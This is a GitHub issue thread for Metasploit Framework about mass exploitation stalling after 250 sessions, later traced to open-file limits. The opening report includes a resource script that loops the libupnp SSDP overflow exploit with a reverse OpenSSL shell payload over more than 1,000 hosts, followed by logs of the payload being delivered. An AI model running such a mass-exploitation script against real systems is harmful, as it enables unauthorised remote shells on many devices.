Hard Limit on available Sessions?

[cromu1ent]

Steps to reproduce

1. Setup resource script to automate exploitation of ~1k+ systems:

hosts = ['<1k hosts>']
self.run_single("use exploit/multi/upnp/libupnp_ssdp_overflow")
self.run_single("set payload cmd/unix/reverse_openssl")
self.run_single("set lhost <localhost>")
self.run_single("set target 1")

#main loop where we connect to the hosts and try to exploit
hosts.each do |rhost|
    self.run_single("set rhost #{rhost}")
    self.run_single("exploit -z")
end

2. run resource script against hosts in 'hosts'.

Expected behavior

Exploit should complete and session be delivered for each host in list not just the first 250.

Current behavior

After 250 sessions have been received and backgrounded, no further sessions are completed:

rhost => <remote ip>
[*] Started reverse double SSL handler on 10.121.154.75:4444 
[*] Exploiting <remote ip> with target 'Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1' with 2106 bytes to port 1900...
[+] Sending payload of 178 bytes to <remote ip>:4837...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 0ab9EBBQbF4TFzys;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "0ab9EBBQbF4TFzys\n"
[*] Matching...
[*] A is input...
[*** **Stalls here until ^C is entered** ***]
^C[*] Shutting down payload stager listener...
[*] Exploit completed, but no session was created.

Eventually, waiting several hours, yields the following messages:

[-] Exploit failed: execution expired
[*] Exploit completed, but no session was created.
rhost => <remote ip>
[-] Exploit failed: Unknow error at OS level
[*] Exploit completed, but no session was created.
rhost => <remote ip>
[-] Exploit failed: Unknow error at OS level
[*] Exploit completed, but no session was created.
rhost => <remote ip>
[-] Exploit failed: Unknow error at OS level
[*] Exploit completed, but no session was created.

Opening another metasploit-framework instance and running the same exploit/payload combo completes successfully.

What I think might be the relevant stack trace is below:

/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.6/lib/rex/socket.rb:645:in `synchronize'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.6/lib/rex/socket.rb:645:in `block in tcp_socket_pair'
/usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
/usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'
[08/15/2017 23:12:39] [e(0)] core: thread exception: TcpSocketPairClient  critical=false  error: Errno::EMFILE Too many open files - socket(
2) for "127.0.0.1" port 0
  source:
    /usr/share/metasploit-framework/lib/metasploit/framework/thread_factory_provider.rb:24:in `spawn'
    /usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `spawn'
    /usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.6/lib/rex/socket.rb:646:in `block (2 levels) in tcp_socket_
pair'
    /usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.6/lib/rex/socket.rb:645:in `synchronize'
    /usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.6/lib/rex/socket.rb:645:in `block in tcp_socket_pair'
    /usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
    /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'
[08/15/2017 23:12:39] [e(0)] core: Call Stack
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.6/lib/rex/socket.rb:648:in `initialize'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.6/lib/rex/socket.rb:648:in `new'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.6/lib/rex/socket.rb:648:in `block (4 levels) in tcp_socket_pair
'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.6/lib/rex/socket.rb:647:in `synchronize'
/usr/share/metasploit-framework/vendor/bundle/ruby/2.3.0/gems/rex-socket-0.1.6/lib/rex/socket.rb:647:in `block (3 levels) in tcp_socket_pair
'
/usr/share/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
/usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'
[08/15/2017 23:13:45] [e(0)] core: Unable to load module /usr/share/metasploit-framework/modules/exploits/linux/smtp/haraka.py NoMethodError
 undefined method `match?' for #<String:0x005569b6d059d8>
Did you mean?  match
[08/15/2017 23:13:56] [d(0)] core: Module generic/custom is incompatible with multi/upnp/libupnp_ssdp_overflow for PayloadType: limiter was 
cmd
[08/15/2017 23:13:56] [d(0)] core: Module generic/shell_bind_tcp is incompatible with multi/upnp/libupnp_ssdp_overflow for PayloadType: limi
ter was cmd
[08/15/2017 23:13:56] [d(0)] core: Module generic/shell_reverse_tcp is incompatible with multi/upnp/libupnp_ssdp_overflow for PayloadType: l
imiter was cmd
[08/15/2017 23:14:51] [e(0)] core: Exploit failed (multi/upnp/libupnp_ssdp_overflow): The following options failed to validate: LHOST.
[08/15/2017 23:15:32] [e(0)] core: Error in stream server server monitor: stream closed
[08/15/2017 23:27:23] [d(0)] core: monitor_rsock: EOF in rsock
[08/16/2017 02:03:45] [e(0)] core: Exploit failed (multi/upnp/libupnp_ssdp_overflow): execution expired
[08/16/2017 02:03:46] [e(0)] core: Exploit failed (multi/upnp/libupnp_ssdp_overflow): Unknow error at OS level
[08/16/2017 02:03:46] [e(0)] core: Exploit failed (multi/upnp/libupnp_ssdp_overflow): Unknow error at OS level

System stuff

VMware workstation VM

• uname -a-
  Linux hostname 4.9.0-kali4-amd64 test #1 SMP Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux

• lscpu -
  Architecture: x86_64
  CPU op-mode(s): 32-bit, 64-bit
  Byte Order: Little Endian
  CPU(s): 4
  On-line CPU(s) list: 0-3
  Thread(s) per core: 1
  Core(s) per socket: 2
  Socket(s): 2
  NUMA node(s): 1
  Vendor ID: GenuineIntel
  CPU family: 6
  Model: 44
  Model name: Intel(R) Xeon(R) CPU X5675 @ 3.07GHz
  Stepping: 2
  CPU MHz: 3058.045
  BogoMIPS: 6118.00
  Hypervisor vendor: VMware
  Virtualization type: full
  L1d cache: 32K
  L1i cache: 32K
  L2 cache: 256K
  L3 cache: 12288K
  NUMA node0 CPU(s): 0-3
  Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts mmx fxsr sse sse2 ss ht syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts nopl tsc_reliable nonstop_tsc aperfmperf eagerfpu pni pclmulqdq ssse3 cx16 sse4_1 sse4_2 popcnt aes hypervisor lahf_lm epb dtherm ida arat

Metasploit version

Framework: 4.14.28-dev
Console : 4.14.28-dev

I installed Metasploit with:

• [* ] Kali package via apt
• Omnibus installer (nightly)
• Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
• Source install (please specify ruby version)

OS

Kali Linux

[h00die]

edited: fixed markdown formatting.

I see a thread exception, too many files open there. I know when I've been on a big network with MANY ssh creds, ~300 or so sessions in they'll start bombing because of too many files open (i think on known_hosts file). Pending this is the true root of the problem, its an OS issue, possibly try https://askubuntu.com/questions/181215/too-many-open-files-how-to-find-the-culprit
While I like my ESXi home setup, i can't spin up 1k nodes on the network. even 250 would strain the limits.

[081532456]

Am 18.08.2017 02:18 schrieb "h00die" <notifications@github.com>: edited: fixed markdown formatting. I see a thread exception, too many files open there. I know when I've been on a big network with MANY ssh creds, ~300 or so sessions in they'll start bombing because of too many files open (i think on known_hosts file). Pending this is the true root of the problem, its an OS issue, possibly try https://askubuntu.com/questions/181215/too-many-open-files-how-to-find-the- culprit While I like my ESXi home setup, i can't spin up 1k nodes on the network. even 250 would strain the limits. — You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub <#8839 (comment)>, or mute the thread <https://github.com/notifications/unsubscribe-auth/AdCUcxIJa2ZBKpCpkYrqFh2TQ41wws-yks5sZNhOgaJpZM4O5Jmv> .

[cromu1ent]

Thanks for fixing the markup. Following the article, I looked to see what my available open file handles were with 'ulimit -a', and it was 400600; I'd think this would be enough for what I'm doing and is far more than the article you linked to listed, even so, I followed the advice in the article and upped the max files in /proc/sys/fs/file-max to 1M and ran the test again. It failed at the same point with the same exception type.

I'm currently re-running the test, as I did not get lsof output at the point of the hang, and will also try running this on a physical system to see if the fact that this is a VMware image makes a difference.

[sempervictus]

The code involved is how Rex sockets pivot. A sockpair is created having a listening and binding sock. One half of the pair gets replaced with abstraction which provides socket compatible methods.
Wondering if we are exhausting the listeners as the error message is about port 0 on localhost.

[kpomeroy1979]

This may not help anyone but I found the fix. I was using Metasploit + SOCKS proxying running the smb_login module over AWS and got the error "too many open files...port 0 localhost" and the fix for me was to increase the limits for the user account running Metasploit by editing /etc/security/limits.conf

more details here - https://linuxhint.com/increase-open-file-limit-ubuntu/

reboot once you are done then your new hard and soft limits should be high enough so you don't encounter that error anymore.

[adfoster-r7]

Closing this as it's an environment issue which can be resolved by configuring ulimit

I'm not against a PR to have a hard session limit, which we could cross-reference with the user set ulimit values - but I'm not sure of all of the required UX considerations here. As the issue can be hit from any module that attempts to open up sockets/file descriptors, not just sessions.

[github-actions]

Thanks for your contribution to Metasploit Framework! We've looked at this issue, and unfortunately we do not currently have the bandwidth to prioritize this issue.

We've labeled this as attic and closed it for now. If you believe this issue has been closed in error, or that it should be prioritized, please comment with additional information.